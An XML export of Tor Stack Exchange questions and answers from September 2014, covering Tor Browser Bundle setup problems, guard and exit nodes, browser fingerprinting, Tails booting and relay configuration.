  <row Id="4076" PostTypeId="2" ParentId="4073" CreationDate="2014-09-10T08:26:11.350" Score="2" Body="&lt;p&gt;The web service will only see the exit node IP.&#xA;The exit node can sniff your credentials if you send them over a non-https connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by using https you stay relatively secure, it does not automatically mean that you get unmasked, but they can (if they check) see that you connected to your email through a tor exit node, but not what your initial location \ ip is (your home IP etc).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-10T08:26:11.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4077" PostTypeId="2" ParentId="4075" CreationDate="2014-09-10T09:11:01.207" Score="1" Body="&lt;p&gt;The tor browser bundle is a standalone firefox,&#xA;the bundle is run independent from any other browsers installed on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you downloaded the bundle, unpacked it and then run it from that folder then it will not interfere with other browsers on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fail to see how it can 'take over', please elaborate on this if possible.&#xA;(Where you downloaded from, how you installed it, how you run it.)&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-10T09:11:01.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4078" PostTypeId="2" ParentId="4075" CreationDate="2014-09-10T09:19:32.500" Score="1" Body="&lt;p&gt;The Tor browser is a separate browser. You should be able to just start Firefox like you always did.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-10T09:19:32.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4079" PostTypeId="1" CreationDate="2014-09-10T12:56:09.260" Score="2" ViewCount="1969" Body="&lt;p&gt;I've downloaded the browser bundle, created a new folder in applications and moved it across from downloads to there. I've even moved it to the desktop and tried opening it. I've rebooted my Mac 3 times now too, after closing all programmes down. It still says Firefox is already open, and the application keeps attempting to open 2 Tor browsers, just before it gives me the &quot;can't open because Firefox is already open&quot; message. I don't have Firefox on my machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice? I'm thinking I might bin it and try again? I somehow doubt that'll fix the problem though. There's obviously an issue with it running. I've looked through the answers to the same question, nothing is working and some of the advice is for Windows machines. &#xA;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="3601" LastEditorUserId="3601" LastEditDate="2014-09-10T19:49:05.447" LastActivityDate="2015-01-03T19:12:36.567" Title="Tor bundle doesn't open on Mac - help please!" Tags="|tor-browser-bundle|firefox|mac|help|" AnswerCount="2" CommentCount="1" ClosedDate="2015-01-03T19:59:12.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="4080" PostTypeId="1" AcceptedAnswerId="4081" CreationDate="2014-09-10T13:30:23.643" Score="5" ViewCount="134" Body="&lt;p&gt;Am I missing something or why is no spy/track blocker included in the browser bundle? I undestand that add-ons may weaken the anonymity/privacy but aren't the example add-ons below not trusted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. Disconnect&#xA;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/disconnect/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/disconnect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or EFF's Privacy Badger &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3554" LastEditorDisplayName="user5" LastEditDate="2016-10-17T14:40:15.303" LastActivityDate="2016-10-17T14:40:15.303" Title="Why doesn't the Tor bundle feature a track/spy blocker?" Tags="|tor-browser-bundle|add-on|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4081" PostTypeId="2" ParentId="4080" CreationDate="2014-09-10T13:51:59.967" Score="5" Body="&lt;p&gt;Because it is effectively permanently in &quot;private browsing mode&quot; anyway, so it doesn't keep persistent cookies or any other data except for things explicitly done by the user e.g. bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no cookies and no history in TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those extensions add nothing if you're already in private mode.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-09-10T13:51:59.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4082" PostTypeId="1" CreationDate="2014-09-10T15:17:18.967" Score="1" ViewCount="408" Body="&lt;p&gt;When I restart my PC I get this........&#xA;&quot;[Wed 10. Sep 16:04:15 2014] External IP Address Changed - Tor has determined your relay's public IP address is currently 90.244.&lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt; If that is not correct, please consider setting the 'Address' option in your relay's configuration.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although my IP address is not static and changes when my modem re-starts I have never had a problem being an exit relay.&#xA;Is my relay still working? Or do I need to add the address in relay config every time it changes?&#xA;I thought Vidalia would automatically notice the change and do this itself. I have also disabled Mcaffee net monitor for the Tor exit ports. Is this OK or should I re-enable net monitor?&lt;/p&gt;&#xA;" OwnerUserId="3558" LastEditorUserId="923" LastEditDate="2014-09-15T17:09:36.920" LastActivityDate="2015-02-13T11:59:26.537" Title="External IP Address Changed - Tor has determined your relay's public IP address is" Tags="|security|relays|circuit|firefox|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4083" PostTypeId="2" ParentId="4079" CreationDate="2014-09-10T15:20:41.840" Score="0" Body="&lt;p&gt;Sometimes firefox does not close properly.&#xA;Press..... CTRL - ALT - DELETE. Choose Task Manager and close firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens to me even without using TOR. I think it's an error with firefox directly.&#xA;I have had to do this with firefox for years. Not every time but it is quite often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you close firefox from tast manager you won't have this problem&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2014-09-10T15:20:41.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4084" PostTypeId="2" ParentId="4075" CreationDate="2014-09-10T15:27:05.310" Score="1" Body="&lt;p&gt;I often run firefox and TOR at the same time.&#xA;They do not interfere with each other.&#xA;Maybe you upgraded firefox without backing up your bookmarks first&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2014-09-10T15:27:05.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4085" PostTypeId="2" ParentId="4010" CreationDate="2014-09-10T15:40:43.550" Score="1" Body="&lt;p&gt;You should not need to use any addons with Tor. If you want addons then Tor is not the browser for you.&#xA;Personally I would never risk Tor's anonymity by using 3rd party addons. That's what Firefox is for. Not Tor&lt;/p&gt;&#xA;" OwnerUserId="3558" LastEditorUserId="88" LastEditDate="2014-10-22T06:49:59.707" LastActivityDate="2014-10-22T06:49:59.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4086" PostTypeId="1" CreationDate="2014-09-10T17:14:30.350" Score="5" ViewCount="4662" Body="&lt;p&gt;Recent Tor Browsers (as of writing, current stable version is 3.6.5) resize the browser window to a multiple of 200x100 pixels on opening. I understand this is to reduce the chances of a user being fingerprinted by their screen size. Unfortunately with a widescreen laptop and using a desktop environment with both top and bottom panels this results in a tiny Tor Browser window that is uncomfortable to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Websites like  EFF's Panopticlick (&lt;a href=&quot;https://panopticlick.eff.org&quot;&gt;https://panopticlick.eff.org&lt;/a&gt;) that measure screen size fail to display a measurement when JavaScript is turned off. When searching I can't seem to find any non-JavaScript method to measure a user's browser/screen size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to resize the Tor Browser window, as long as JavaScript is disabled globally beforehand?&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-04-03T05:40:10.487" Title="Is it safe to resize Tor Browser window with JavaScript disabled completely?" Tags="|tor-browser-bundle|anonymity|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4087" PostTypeId="1" CreationDate="2014-09-10T19:50:44.913" Score="4" ViewCount="131" Body="&lt;p&gt;I note that when researchers analyse some particular types of attacks on Tor security, they assume a SINGLE adversary who is capable of deploying a significant number of relays that will eventually be selected as guards and exit relays. If that is a realistic assumption to make for the purposes their analysis, then out in the real world there are probably at least three adversaries interested in attacking Tor, each of which is capable of deploying large numbers of relays for that purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting thing about this is that these &quot;big&quot; adversaries are likely to be attacking real client groups who will have very little overlap in their membership. If that assumption is true then it seems at first glance that the more &quot;big&quot; adversaries out their deploying relays, the smaller is the percentage of relays any one actually controls. Is that dilution effect significant?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put another way, a client who is worried about being attacked by a particular, &quot;big&quot;, adversary actually benefits when other &quot;big&quot; adversaries add large numbers of relays. It gives our client a better chance of selecting a guard NOT controlled by their adversary. It does not matter if the selected guards are controlled by other adversaries since we assume they are not interested in our client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that argument too simple minded?&lt;/p&gt;&#xA;" OwnerUserId="3606" LastEditorUserId="923" LastEditDate="2014-09-11T07:24:30.570" LastActivityDate="2014-09-18T15:42:49.940" Title="Multiple adversaries able to deploy large numbers of relays; do they dilute each other's effectiveness?" Tags="|anonymity|security|onion-routing|attacks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4088" PostTypeId="2" ParentId="4087" CreationDate="2014-09-10T22:31:14.057" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;Tor's threat model&lt;/a&gt; assumes adversaries that can operate and/or compromise &quot;some fraction of the onion routers&quot;. Anonymity depends on the fraction of malicious routers being small enough. And so multiple adversaries, as long as they didn't collude, would in fact reduce each other's effectiveness. That's part of Tor's design.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-09-10T22:31:14.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4089" PostTypeId="2" ParentId="3224" CreationDate="2014-09-11T00:19:47.017" Score="6" Body="&lt;p&gt;Use the text editor and open the &lt;code&gt;start-tor-browser&lt;/code&gt; script file. Search for the word &lt;em&gt;root&lt;/em&gt;, you will see these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if [ &quot;`id -u`&quot; -eq 0 ]; then&#xA;    complain &quot;The Tor Browser Bundle should not be run as root.  Exiting.&quot;&#xA;    exit 1&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove or comment out the &lt;code&gt;exit 1&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="3608" LastEditorUserId="10566" LastEditDate="2016-01-21T22:51:54.050" LastActivityDate="2016-01-21T22:51:54.050" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4090" PostTypeId="2" ParentId="4029" CreationDate="2014-09-11T08:05:23.243" Score="10" Body="&lt;p&gt;Websites can request several configuration settings from your browser in order to help them printing the best page format for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by requesting your browser's specific abilities (here canvas is used for graphical rendering), websites could fingerprint your browser (if you have a unique configuration) across multiple sites. &#xA;This is related to the Panopticlick (&lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://panopticlick.eff.org&lt;/a&gt;) method the EFF exposed, using other information sent by your browser to uniquely identify you, even without access to your IP address. &#xA;The vast array of information sent makes it easy to end up with a very unique, thus identifiable, signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails (&lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/&lt;/a&gt;), for example, can help you to make yourself look more like other users. And disable JavaScript which would allow a lot more info to be sent. Do the Panopticlick test with and without JavaScript (erase the cookie between tests). &#xA;If you must use JavaScript or plug-ins such as Flash, you must use a more secure set up, such as Whonix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have to bear in mind that against a very large and capable adversary that listen to all Internet traffic, it can easily follow that type of trace if it exists; it's not only the individual websites requesting this information (which 99% is legitimate, just needed to improve rendering) that you should be wary of but the global big brother that is always looking over your shoulder.  Also....I noticed when I went to my &lt;a href=&quot;https://recoveryfarmhouse.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recoveryfarmhouse.net&lt;/a&gt; website the same pop up came up on Tor.  One of the plugins that I use on the site shows me &quot;live visits&quot; which are listed by IP.  It's  a security plugin just so I know the activity on my website.  Since I don't know a whole hell of alot about coding and security all I get from an IP is usually your ISP's main location that your using.  iT DOESN'T narrow down to absolute location.  Idk, not really sure what I could do with just an IP address if I tried.  Wish I knew more.  I do know this...I had one wordpress plugin in the past that actually saved wrong passwords.  The implications behind that are pretty steep.  Forget which one it was.  Not all info gathering is innocent that is for sure.&lt;/p&gt;&#xA;" OwnerUserId="1785" LastEditorUserId="-1" LastEditDate="2017-07-31T21:55:55.843" LastActivityDate="2017-07-31T21:55:55.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4092" PostTypeId="1" CreationDate="2014-09-11T13:04:06.317" Score="7" ViewCount="3098" Body="&lt;p&gt;I am trying to go to a website, namely, fiverr.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Cloudfare blocks me and doesn't give me any chance to go past through the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is NO CAPTCHA for me to see and type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any issues?&lt;img src=&quot;https://i.stack.imgur.com/4MUa6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I am also trying to figure things out. I only have this problem when I am on a certain internet provider. I switched to another and the CAPTCHA worked. My problem is if I am human, how do I pass the test when the CAPTCHA doesn't show up?&lt;/p&gt;&#xA;" OwnerUserId="3614" LastEditorUserId="3614" LastEditDate="2014-09-13T01:43:21.647" LastActivityDate="2017-04-26T20:28:03.097" Title="CloudFare without Captcha" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="4094" PostTypeId="2" ParentId="3878" CreationDate="2014-09-11T14:21:12.853" Score="1" Body="&lt;p&gt;If in some period of time Firefox (on which is based TBB) or any other browser you are using is vulnerable to 0-day exploit that allows on remote attacker to access parts of the browser memory or files - yes, only in this case, someone can read your history / bookmarks / settings, etc.&#xA;But serious vulnerabilities like this are rare in browsers, so just be sure that your software is up-to-date.&lt;/p&gt;&#xA;" OwnerUserId="3442" LastActivityDate="2014-09-11T14:21:12.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4095" PostTypeId="1" CreationDate="2014-09-11T18:04:31.457" Score="1" ViewCount="3301" Body="&lt;p&gt;Trying to get started with Tails. downloaded .iso, verified key sig, burned dvd, (verified)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but can't figure out how to start Tails or the Tails Installer, as I cannot find that app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DVD (and .iso image) have only the following four folders:&#xA;EFI, isolinux, live, utils.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instructions say: &quot;Start Tails from another media than the device, USB stick or SD card, onto which you want to install Tails.&quot;&#xA; how? thanks.&#xA;i'm on a mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/tagged/tails?page=4&amp;amp;sort=newest&amp;amp;pagesize=15&quot;&gt;https://tor.stackexchange.com/questions/tagged/tails?page=4&amp;amp;sort=newest&amp;amp;pagesize=15&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3619" LastEditorUserId="923" LastEditDate="2014-09-11T19:11:32.993" LastActivityDate="2014-09-21T10:27:02.620" Title="Having trouble starting Tails from DVD" Tags="|tails|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4097" PostTypeId="2" ParentId="4095" CreationDate="2014-09-11T18:44:16.147" Score="1" Body="&lt;p&gt;Typically how you do this is to boot your computer by setting the DVD-rom as boot device. You can check the boot device order in bios settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or there is typically a hot-key you can press to select boot device during start-up.&#xA;After that when Tails has loaded you can find the 'installer' application in the application menu inside Tails OS itself, from there you can then install the running Tails on to a USB stick for example.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="923" LastEditDate="2014-09-21T10:27:02.620" LastActivityDate="2014-09-21T10:27:02.620" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4098" PostTypeId="1" CreationDate="2014-09-11T23:38:23.573" Score="1" ViewCount="84" Body="&lt;p&gt;When I have Tor open, which is all the time, this is what appears on my dock (OS X 10.6.8):&#xA;* a purple and white onion labeled TorBrowser_en_US&#xA;* a green Vidalia onion&#xA;* a green Tor globe&#xA;* another green Tor globe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the Tor globes is the browser I use - it has all my bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other Tor globe is incomplete - it has almost none of my bookmarks. I do remember having an issue trying to export the bookmarks html. I may have dl the browser twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I opened my apps folder and dragged the truncated Tor to the trash and emptied it. It's no longer in my apps folder, but dang, there it is again on my dock! My apps folder now has one green Tor globe and one purple and white onion labeled TorBrowser_en_US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's up with that? Is there a way to stop it from happening? I don't think it's causing any glitches in my websurfing, but I don't really know how Tor is supposed to work. For example, I'm thinking it's normal to get search results from several different language sites - predominantly Polish, Romanian, Dutch, and Norwegian - though the results themselves are usually in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="3624" LastActivityDate="2014-09-15T06:53:11.857" Title="Why do I have 2 Tors on my dock?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4099" PostTypeId="1" CreationDate="2014-09-11T23:55:53.097" Score="6" ViewCount="3434" Body="&lt;p&gt;I'm using Tor-browser-bundle with Vidalia.&#xA;Yesterday, just out of curiosity, I clicked on &quot;view the network.&quot;&#xA;In the &quot;connection&quot; box, I see my circuits. About 5, 6 circuits each with 3 different nodes.&#xA;Then I realised something : only the 2 last nodes are different, the first is always the same IP.&#xA;So I click on &quot;new identity&quot; and guess what ? Same first node again. Exit node have changed, very well, but the first relay is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that how it's supposed to work?&lt;/p&gt;&#xA;" OwnerUserId="3625" LastEditorDisplayName="user5" LastEditDate="2014-11-15T18:51:34.997" LastActivityDate="2021-06-03T14:27:56.833" Title="First node always the same! Is that how it's supposed to work?" Tags="|relays|" AnswerCount="11" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4100" PostTypeId="1" CreationDate="2014-09-12T04:33:56.690" Score="1" ViewCount="94" Body="&lt;p&gt;OK So I put my &quot;Tor&quot; onto my Flash Drive instead of my hard drive... Is that OK to run it from there? (I figured, it's just on &quot;F&quot; instead of &quot;C&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;problem&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I type into the text box (&lt;em&gt;on the Tor Browser with the green onion logo on it&lt;/em&gt;)... - &quot;Adobe Photoshop CC X6 2014&quot; and then a couple of pages of links pops up, (Just like as if I'm using Google as usual) ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... I click on one, and instead of taking to the download for Photoshop, it takes me to a download for &quot;ilivid&quot; download manager. Why? Do I NEED to have &quot;ilivid&quot; to download the new Photoshop? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep my &quot;private Firewall 7.0&quot; on while using Tor, is that OK? or could that be causing my problem with my links being hijacked? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must say that I'm totally new to &quot;Tor&quot; I never heard of it before tonight. I used to always use Warez websites, and chatrooms, like www.needfullthingz.com but I'd really like to become an integral part of this. I don't understand the lingo yet either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be giving/using my regular old e-mail address that I've had for years with Gmail or optimum.net? or do I need to make and/or open up a another/newer one somewhere? &lt;/p&gt;&#xA;" OwnerUserId="3627" LastEditorUserId="923" LastEditDate="2014-09-12T06:47:03.607" LastActivityDate="2014-09-12T06:47:03.607" Title="What am I doing wrong?" Tags="|help|" AnswerCount="0" CommentCount="0" ClosedDate="2014-09-12T11:05:29.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="4101" PostTypeId="2" ParentId="4035" CreationDate="2014-09-12T04:40:36.113" Score="0" Body="&lt;p&gt;ok I think I see what your questions are. The scenario with following the directions above will actually work, although they are a bit outdated as the directions state. I think what you are missing is in step 2 of your 'last bullet' section of the question; after dns resolution through tor the packets are not forwarded but directed to tors local ip on port 9040. In the example in the documentation this is 10.192.0.1:9040 which then takes googles ip and port 80 and requests that information over tor, not  (IP of Google):9040&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats why the iptables rules in the tutorial begin with the PREROUTING switch, the packets are not modified, but encapsulated. Thats why its called a transparent proxy, the browser dosen't even know the packets are being forwarded over tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That may not be the best explanation of how it works, but I can attest to the fact that it does work as I have personally tested.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-12T04:40:36.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4102" PostTypeId="2" ParentId="1758" CreationDate="2014-09-12T04:51:59.630" Score="1" Body="&lt;p&gt;The tbb does not need to be installed like forefox. And you do not need firefox installed to use tbb. When you get this message I would open up the task manager (right click on task bar, click task manager) click on programs and look for multiple versions of firefox. It could be your regular version of firefox is running in the background in an attempt to run an update. Look in your startup folder (click start &gt;&gt; programs&gt;&gt; startup folder) and see if firefox is in there (it shouldnt be)&#xA;Instead of hiding the tbb folder, you could just download the latest version each time you want to use it and throw it in the trash after you are done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can try is right clicking on tbb and selecting 'run as administrator'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what method you are using to hide the folder but that could be something to look at next.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-12T04:51:59.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4103" PostTypeId="2" ParentId="4098" CreationDate="2014-09-12T20:26:53.543" Score="1" Body="&lt;p&gt;Have you tried rebooting? You know there is no reason to keep the TBB in your applications folder. It does not need to be installed because its a standalone executable. I would start by opening up a list of your running processes and looking for multiple versions of TBB. It is possible to have multiple Tor instances running on your machine, but there is no reason to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were me, I would go to utilities and open terminal, then type&#xA;ps aux | grep tor&#xA;and it will show you a list of everything running that has the letters tor running. Each process will have a number that goes with it, look through the list until you see the ones used by tbb and type&#xA;kill -9 &#xA;Where  is the process ID you got from the ps aux | grep command above. &#xA;That way you can kill off everything involving Tor, and hopefully that will get rid of your unwanted shortcut in the bottom. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastEditorUserId="923" LastEditDate="2014-09-13T13:19:29.287" LastActivityDate="2014-09-13T13:19:29.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4104" PostTypeId="2" ParentId="4068" CreationDate="2014-09-12T21:12:51.280" Score="2" Body="&lt;p&gt;Fingerprint is not necessary here. Just type obfs3 ip:port and it will work. &#xA;The &quot;bridge&quot; will be added automatically for each bridge and you might just keep it as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the format isn't correct, you'll see warning messages in Tor log.&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2014-09-12T21:12:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4106" PostTypeId="2" ParentId="1758" CreationDate="2014-09-13T05:48:06.207" Score="1" Body="&lt;p&gt;When I see that error message, I remove Firefox's profile lock.  Here is the link to the website I found the solution from:  &lt;a href=&quot;http://www.howtogeek.com/131004/how-to-fix-the-firefox-is-already-running-error/&quot; rel=&quot;nofollow&quot;&gt;http://www.howtogeek.com/131004/how-to-fix-the-firefox-is-already-running-error/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for me every time.  The connection to this website is not encrypted however!&lt;/p&gt;&#xA;" OwnerUserId="3632" LastActivityDate="2014-09-13T05:48:06.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4109" PostTypeId="2" ParentId="4099" CreationDate="2014-09-13T09:38:22.217" Score="3" Body="&lt;p&gt;Looks like the single guard node proposal is implemented now: &quot;...in its first startup, Tor picks one guard and stores its identity persistently to disk. Tor uses that guard node as the first hop of its circuits from thereafter.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11480&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/11480&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2014-09-13T09:38:22.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4110" PostTypeId="1" AcceptedAnswerId="4121" CreationDate="2014-09-13T15:01:03.527" Score="1" ViewCount="506" Body="&lt;p&gt;I'm a newbie Tor programmer and I've just edited source code for first time, but I simply can't compile it in my Windows environment. Could someone help me or, if possible, compile it for me, since I've followed lots of guides(failing)?&#xA;Source Code: &lt;a href=&quot;https://www.dropbox.com/s/ismv91hfixg3trw/tor-0.2.4.23.rar?dl=0&quot; rel=&quot;nofollow&quot;&gt;tor-0.2.4.23&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s.: Forgive my horrible English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Ok, I compiled Tor and run it, everything seems doing well and it doesn't show errors. And now... why doesn't Tor Browser open? Did I do anything wrong or I just have to install it separately?&#xA;**EDIT(2)**For Example, can I download Tor Browser and make it run using my custom Tor?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3635" LastEditorUserId="3635" LastEditDate="2014-09-15T13:19:15.467" LastActivityDate="2014-09-15T14:34:19.243" Title="Need help compiling Tor really bad" Tags="|windows|help|development|" AnswerCount="2" CommentCount="3" ClosedDate="2014-09-16T21:43:27.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="4112" PostTypeId="2" ParentId="4110" CreationDate="2014-09-13T19:29:53.637" Score="0" Body="&lt;p&gt;In order to compile for from source you will need a seperate compiler program. In windows there is one called Visual Basic . It's usually much easier and free to use Linux gcc compiler.  One option might be to install a Linux distro as a vm using virtual of and then installing gcc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It compiles really fast in a Linux development environment. You mention you would like someone to compile it for you but then why not just use the precompiled binaries on the for project website? I doubt from your question compiling it yourself is really necessary. What modifications to the source code are you trying to make?&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-13T19:29:53.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4113" PostTypeId="1" AcceptedAnswerId="4636" CreationDate="2014-09-14T03:19:53.150" Score="6" ViewCount="1007" Body="&lt;p&gt;Why does Tor save the circuit build times and what does it want to learn out of them?&#xA;Tor loads the circuit build times from a file at the beginning. I do not know why it needs them.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="5191" LastEditDate="2014-11-18T23:15:22.257" LastActivityDate="2014-11-18T23:15:22.257" Title="Circuit Build Times in Tor" Tags="|relays|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4114" PostTypeId="1" AcceptedAnswerId="4115" CreationDate="2014-09-14T04:52:50.030" Score="3" ViewCount="720" Body="&lt;p&gt;The Tor system works by connecting to a Tor node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That Tor node then connects to a deeper Tor node, which connects to a deeper Tor node, which connects to an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know that there's no rogue entry node which is just faking that it's creating a deeper node, while it's really an entry node and exit node, and is logging all that you do (since it knows your IP address and is the exit node)?&lt;/p&gt;&#xA;" OwnerUserId="3638" LastEditorUserId="100" LastEditDate="2014-09-14T12:54:21.697" LastActivityDate="2014-09-14T12:54:21.697" Title="How to prevent a rogue Tor entry node?" Tags="|exit-relays|attacks|guard|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
